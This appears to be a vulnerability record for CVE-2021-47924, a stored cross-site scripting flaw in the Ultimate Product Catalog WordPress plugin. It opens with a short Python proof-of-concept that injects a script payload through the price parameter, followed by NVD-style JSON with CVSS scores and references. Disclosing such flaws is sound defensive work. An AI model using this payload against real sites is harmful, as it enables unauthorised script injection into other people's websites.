CVE-2021-47924

import requests # Target URL (example) target_url = "http://vulnerable-site/wp-content/plugins/ultimate-product-catalogue/post.php" # Attacker's authenticated session cookie cookies = { "wordpress_logged_in_xxx": "attacker_session_token" } # Malicious payload injected via the price parameter payload = "<script>alert('CVE-2021-47924-XSS');</script>" # Data to be sent in the POST request post_data = { "price": payload, "action": "update_product", "product_id": "1" } try: # Send the malicious request response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the product page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2021-47924", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:28.307", "lastModified": "2026-05-12T14:24:15.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ultimate Product Catalog 5.8.2 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts through the price parameter. Attackers can submit POST requests to post.php with HTML/JavaScript payloads in the price field to execute arbitrary code when the product is viewed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/ultimate-product-catalogue/", "source": "[email protected]"}, {"url": "https://www.etoilewebdesign.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50534", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wordpress-plugin-ultimate-product-catalog-stored-xss-via-price", "source": "[email protected]"}]}}